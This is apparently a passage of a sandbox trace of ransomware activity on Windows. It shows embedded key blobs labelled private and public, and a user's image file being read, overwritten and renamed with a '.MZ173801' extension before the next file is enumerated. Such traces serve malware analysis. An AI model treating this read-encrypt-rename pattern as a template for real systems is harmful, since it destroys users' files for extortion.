lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.607] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d21ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.609] GetCurrentThreadId () returned 0xab4 [0153.609] GetCurrentThreadId () returned 0xab4 [0153.609] GetCurrentThreadId () returned 0xab4 [0153.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24e324c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.610] GetCurrentThreadId () returned 0xab4 [0153.610] GetCurrentThreadId () returned 0xab4 [0153.610] GetCurrentThreadId () returned 0xab4 [0153.610] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\CyPtYrEBdI9stHyXAH.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\cyptyrebdi9sthyxah.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.610] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0153.610] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.610] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x4c5a [0153.610] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.610] ReadFile (in: hFile=0x2f8, lpBuffer=0x24eb050, nNumberOfBytesToRead=0x4c5a, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24eb050*, lpNumberOfBytesRead=0x19f74c*=0x4c5a, lpOverlapped=0x0) returned 1 [0153.612] CloseHandle (hObject=0x2f8) returned 1 [0153.612] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\CyPtYrEBdI9stHyXAH.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\cyptyrebdi9sthyxah.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.614] WriteFile (in: hFile=0x2f8, lpBuffer=0x24f1080*, nNumberOfBytesToWrite=0x4c5a, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24f1080*, lpNumberOfBytesWritten=0x19f758*=0x4c5a, lpOverlapped=0x0) returned 1 [0153.615] CloseHandle (hObject=0x2f8) returned 1 [0153.617] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\CyPtYrEBdI9stHyXAH.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\cyptyrebdi9sthyxah.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\CyPtYrEBdI9stHyXAH.gif.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\cyptyrebdi9sthyxah.gif.mz173801")) returned 1 [0153.618] GetCurrentThreadId () returned 0xab4 [0153.618] GetCurrentThreadId () returned 0xab4 [0153.618] GetCurrentThreadId () returned 0xab4 [0153.618] GetCurrentThreadId () returned 0xab4 [0153.618] GetCurrentThreadId () returned 0xab4 [0153.618] GetCurrentThreadId () returned 0xab4 [0153.618] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4de3f1a0, ftCreationTime.dwHighDateTime=0x1d5e61a, ftLastAccessTime.dwLowDateTime=0xb9f78fe0, ftLastAccessTime.dwHighDateTime=0x1d5eeb8, ftLastWriteTime.dwLowDateTime=0xb9f78fe0, ftLastWriteTime.dwHighDateTime=0x1d5eeb8, nFileSizeHigh=0x0, nFileSizeLow=0x16e9d, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="dCe5ivejzMlw0ls1pYC.jpg", cAlternateFileName="DCE5IV~1.JPG")) returned 1 [0153.618] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.618] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.618] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\dCe5ivejzMlw0ls1pYC.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\dce5ivejzmlw0ls1pyc.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4de3f1a0, ftCreationTime.dwHighDateTime=0x1d5e61a, ftLastAccessTime.dwLowDateTime=0xb9f78fe0, ftLastAccessTime.dwHighDateTime=0x1d5eeb8, ftLastWriteTime.dwLowDateTime=0xb9f78fe0, ftLastWriteTime.dwHighDateTime=0x1d5eeb8, nFileSizeHigh=0x0, nFileSizeLow=0x16e9d)) returned 1 [0153.618] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\dCe5ivejzMlw0ls1pYC.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\dce5ivejzmlw0ls1pyc.jpg")) returned 0x20 [0153.618] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\dCe5ivejzMlw0ls1pYC.jpg", dwFileAttributes=0x80) returned 1 [0153.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 